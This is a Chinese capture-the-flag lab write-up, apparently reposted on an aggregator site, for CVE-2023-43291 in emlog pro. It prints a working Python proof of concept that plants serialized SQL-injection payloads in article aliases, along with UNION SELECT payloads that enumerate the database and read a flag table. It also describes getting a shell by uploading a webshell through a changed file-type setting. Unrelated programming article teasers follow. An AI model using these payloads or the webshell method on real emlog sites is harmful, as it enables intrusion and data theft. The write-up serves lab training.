【春秋云镜】CVE-2023-43291 emlog SQL注入

靶场介绍

emlog是一款轻量级博客及CMS建站系统,在emlog pro v.2.1.15及更早版本中的不受信任数据反序列化允许远程攻击者通过cache.php组件执行SQL语句。

不感兴趣的可以直接拉到最后面,直接获取flag

备注:没有通过sql注入获取到flag,但是通过其他方法获得了,如果有大佬通过sql注入获取flag请告诉我。

开启靶场

在这里插入图片描述
搜索POC,该POC是执行user()函数

import requests
import sys
import time
requests.packages.urllib3.disable_warnings()url = "http://eci-2ze5lrqt8xe7n32hn1rm.cloudeci1.ichunqiu.com"
session = requests.session()
proxy = {"http": "127.0.0.1:8080",     "https": "127.0.0.1:8080"
}# Step1 注册一个账户并登录,获取token
def step1():url_register = "/admin/account.php?action=dosignup"data_register = {"mail":"9a6d0oL@test.com","passwd":"password","repasswd": "password"}session.post(url+url_register, data=data_register, verify=False, allow_redirects=False, proxies=proxy)url_login = "/admin/account.php?action=dosignin&s="data_login = {"user": "9a6d0oL@test.com","pw": "password"}res = session.post(url+url_login, data=data_login, verify=False, allow_redirects=False, proxies=proxy)if res.status_code != 302 or res.headers.get("Location") != "./":print("登录错误")exit()url_token = "/admin/article.php"res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:   # 因为该cms会随机进行重新的身份认证,详见include/service/user.php:106res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)global tokentry:token = res.text.split('id="token" value="')[1].split('"')[0].strip()except:token = ""# Step2 新建两篇文章,设置两篇文章的alias,写入payload
def step2():url_article = "/admin/article_save.php?action=autosave"data_article = {"logcontent": time.time(), "logexcerpt": '', "title": time.time(), "cover": '', "alias": time.time(), "sort": "-1", "postdate": "2022-10-16 00:01:34", "date": '', "tag": '', "top": "n", "sortop": "n", "allow_remark": "y", "password": '', "token": token, "ishide": "y", "as_logid": "-1"}# 新建第一篇文章res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)try:id_1 = res.text.split(":")[1].split("_")[0]except:print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")exit()# 新建第二篇文章data_article["logcontent"] = time.time()data_article["title"] = time.time()data_article["alias"] = time.time()res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)try:id_2 = int(res.text.split(":")[1].split("_")[0])except:print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")exit()# 更改第二篇文章的alias# payload = '''";s:87:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','',''#";s:1:"Y'''payload = '''";s:93:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"Y'''data_article["as_logid"] = id_2print (id_2)if id_2 < 10:data_article["alias"] = payloadif id_2 >= 10:data_article["alias"] = payload[1:]if id_2 >= 100:# data_article["alias"] = ''';s:81:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','',''#";s:1:"Y'''data_article["alias"] = ''';s:87:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','','','',''#";s:1:"Y'''res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)# 更改第一篇文章的aliasdata_article["as_logid"] = id_1data_article["alias"] = "<?php exit;//"res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)while res.status_code != 200:res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)# Step3 访问触发反序列化以及sql注入
def step3():headers = {"X-Rewrite-Url": "/Y",}res = session.get(url, headers=headers, verify=False, allow_redirects=False, proxies=proxy)if res.status_code == 200:print(res.text.split("<title>")[1].split("</title>")[0])else:raise  Exceptionif __name__ == "__main__":try:step3()except:step1()step2()step3()

将脚本挂上代理,
step1() //注册用户
step2() //写入payload
step3() //执行脚本

操作步骤

打开burp 挂上代理

注册包全部放通,只保留这个数据包 step2()
在这里插入图片描述
保留第二个数据包 step3()
在这里插入图片描述

执行SQL语句

通过脚本可以获取到执行的命令
在这里插入图片描述

寻找flag位置

将URL编码转换后,可以发现他的语句是这样的:

0 union select 1,user(),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#

然后我们替换user()即可。
0 union select 1,concat(0x7e,(SELECT CONCAT(TABLE_SCHEMA,‘-’,TABLE_NAME, ‘-’,COLUMN_NAME) FROM information_schema.COLUMNS WHERE COLUMN_NAME = ‘flag’ LIMIT 0,1),0x7e),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#

然后数一下前面有你总共输入了多少个字符,例如上面一共是235个字符
在这里插入图片描述

在这里插入图片描述
存在flag
在这里插入图片描述
靶场有3处存在flag列 将limit处修改为 limit 2.1
在这里插入图片描述

得知存在flllllaaaag表,并且在emlog数据库中,然后编写payload

0 union select 1,concat(0x7e,(select CONCAT(id, ‘-’,flag) from flllllaaaag),0x7e),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#
在这里插入图片描述
结果提示
Illegal mix of collations for operation ‘UNION’
在这里插入图片描述

获取flag 有点生气,然后气了一下

登录admin 密码 admin123
这里可以下载数据库备份
在这里插入图片描述
查看文件的最后

在这里插入图片描述

总结

我太菜了,不知道sql报错怎么解决,有大佬看到这里希望可以研究一下,有成果联系我,感谢感谢。

如果对你有用,请不要取关哦,感谢感谢

获取shell

在看sql文件时发现这里可以修改运行上传的文件类型:
在这里插入图片描述
在页面修改时,修改为php会自动修改为X,这里上传SQL备份后不会改变。
在这里插入图片描述
直接上传webshell
在这里插入图片描述
获取shell
在这里插入图片描述
查看配置文件为
在这里插入图片描述
不活心,可能是不存在flag。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/825238.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

汇编语言——将DX,AX组成的32位数逻辑左移3位

data segment data ends stack segment stacktop label worddw 100 dup (?) stack ends code segmentassume cs:code,ds:data,ss:stack main proc farmov ax,datamov ds,axmov ax,stackmov ss,axlea sp,top;0000 0001 1100 1010 | 0000 0010 0001 1111;逻辑左移三位后&#xf…

基于SpringBoot框架的智慧食堂

采用技术 基于SpringBoot框架实现的web的智慧社区系统的设计与实现~ 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;SpringBootMyBatis 工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 页面展示效果 系统功能 系统首页 用户注册页面 菜品信息页面 …

Android 性能优化(七):APK安装包体积优化

包体积优化重要性 移动 App 特别关注投放转化率指标&#xff0c;而 App 包体积是影响用户新增的重要因素&#xff0c;而 App 的包体积又是影响投放转化率的重要因素。 Google 2016 年公布的研究报告显示&#xff0c;包体积每上升 6MB 就会带来下载转化率降低 1%&#xff0c; …

直方图与核密度估计

技术背景 直方图是一种经常被用于统计的图形表达形式&#xff0c;简单来说它的功能就是用一系列的样本数据&#xff0c;去分析样本的分布规律。而直方图跟核密度估计(Kernel Density Estimation&#xff0c;KDE)方法的主要差别在于&#xff0c;直方图得到的是一个离散化的统计分…

【全开源】多功能完美运营版商城 虚拟商品全功能商城 全能商城小程序 智慧商城系统 全品类百货商城

内容目录 一、详细介绍二、效果展示1.部分代码2.效果图展示 三、学习资料下载 一、详细介绍 完美运营版商城/拼团/团购/秒杀/积分/砍价/实物商品/虚拟商品等全功能商城 干干净净 没有一丝多余收据 还没过手其他站 还没乱七八走的广告和后门 后台可以自由拖曳修改前端UI页面 …

Aigtek功率放大器的使用方法有哪些

功率放大器是一种将小信号放大为大信号的电子设备&#xff0c;广泛应用于无线通信、音频系统、雷达等领域。在使用功率放大器时&#xff0c;需要注意以下几个方面&#xff1a; 电源供应&#xff1a;功率放大器需要提供稳定的电源供应以保证正常工作。通常情况下&#xff0c;功率…

正式发布的Spring AI,能让Java喝上AI赛道的汤吗

作者:鱼仔 博客首页: https://codeease.top 公众号:Java鱼仔 前言 最近几年AI发展实在太快了&#xff0c;仿佛只要半年没关注&#xff0c;一个新的大模型所产生的效果就能超越你的想象。Java在AI这条路上一直没什么好的发展&#xff0c;不过Spring最近出来了一个新的模块叫做S…

[Linux][进程间通信][一][匿名管道][命名管道]详细解读

目录 0.进程间通信&#xff1f;1.进程间通信目的2.进程间通信分类3.进程间通信的本质理解 1.什么是管道&#xff1f;2.匿名管道1.认识函数2.如何让不同的进程&#xff0c;看到同一份资源&#xff1f;3.用fork来共享管道原理4.站在文件描述符角度 -- 深刻理解管道5.站在内核角度…

目标检测——食品饮料数据集

一、重要性及意义 对食品和饮料进行目标检测的重要性和意义体现在多个方面&#xff1a; 商业应用与市场分析&#xff1a;目标检测技术在食品和饮料行业有着广泛的应用前景。通过对超市货架、餐馆菜单或广告海报中的食品和饮料进行自动识别和计数&#xff0c;商家可以获取关于产…

【微服务】spring状态机模式使用详解

一、前言 在很多系统中,通常会涉及到某个业务需要进行各种状态的切换操作,例如在审批流程场景下,某个审批的向下流转需要依赖于上一个状态的结束,再比如电商购物场景中,一个订单的生命周期往往伴随着不同的状态,比如待支付,支付完成,已发货等等,状态的存在,让一个业…

登录解析(后端)

调试登录接口 进入实现类可以有 验证码校验 登录前置校验 用户验证 验证码校验 通过uuid获取redis 中存储的验证码信息&#xff0c;获取后对用户填写的验证码数据进行校验比对 用户验证 1.进入控制器的 /login 方法 2.进入security账号鉴权功能&#xff0c;经过jar内的流…

HTML:Form表单控件主要标签及属性。name属性,value属性,id属性详解。表单内容的传递流程,get和post数据传递样式。表单数据传递实例

form表单 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title> </head> &…

c语言中什么是冒泡排序,冒泡排序的计算

在c语言中&#xff0c;冒泡排序的解释是&#xff0c;将被排序的记录数组arr[1..n]垂直排列&#xff0c;每个记录arr看作是重量为一个arr气泡。根据轻气泡不能在重气泡之下的原则&#xff0c;从下往上扫描数组arr&#xff0c;凡扫描到违反该原则的轻气泡&#xff0c;就使其向上飘…

算法练习第19天|222.完全二叉树的节点个数

222.完全二叉树的节点个数 222. 完全二叉树的节点个数 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/count-complete-tree-nodes/description/ 题目描述&#xff1a; 给你一棵 完全二叉树 的根节点 root &#xff0c;求出该树的节点个数。题目数据保…

振动信号幅值成分分析手段

提示&#xff1a;振动信号幅值成分分析手段 文章目录 一、特征值分析二、概率密度分析2.1、原理2.2、代码2.3、结果分析 三、总结&#xff08;自己的思想&#xff09; 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、特征值分析 均值和平均幅值可以…

【缓存常见问题】

在使用缓存时特别是在高并发场景下会遇到很多问题&#xff0c;常用的问题有缓存穿透、缓存击穿、缓存雪崩以及缓存一致性问题。 1、缓存穿透 首先&#xff0c;什么是缓存穿透呢&#xff1f; 缓存穿透是指请求一个不存在的数据&#xff0c;缓存层和数据库层都没有这个数据&…

虚拟天空解决方案,创造出令人惊叹的换天效果

在汽车视频领域&#xff0c;如何打破传统拍摄限制&#xff0c;呈现出更具创意和想象力的画面&#xff0c;成为众多企业和创作者追求的目标。美摄科技作为业界领先的视频技术提供商&#xff0c;凭借其强大的AI技术和三维渲染引擎&#xff0c;推出了全新的虚拟天空解决方案&#…

集成电路测试学习

集成电路&#xff08;Integrated Circuit&#xff0c;IC&#xff09;整个设计流程包括&#xff1a;电路设计、晶圆制造、晶圆测试、IC封装、封装后测试。 IC测试目的&#xff1a;一、确认芯片是否满足产品手册上定义的规范&#xff1b;二、通过测试测量&#xff0c;确认芯片可以…

李国武:QFD是如何将顾客需求转换为产品技术要求的?

如何将顾客的多样化需求精准地转化为产品的技术要求&#xff0c;成为企业赢得市场、提升竞争力的关键。质量功能展开&#xff08;Quality Function Deployment&#xff0c;简称QFD&#xff09;作为一种先进的质量管理工具&#xff0c;正是实现这一转换的有效桥梁。具体如天行健…

vim相关指令

vim的各种模式及其转换关系图 vim 默认处于命令模式&#xff01;&#xff01;&#xff01; 模式之间转换的指令 除【命令模式】之外&#xff0c;其它模式要切换到【命令模式】&#xff0c;只需要无脑 ESC 即可&#xff01;&#xff01;&#xff01; [ 命令模式 ] 切换至 [ 插…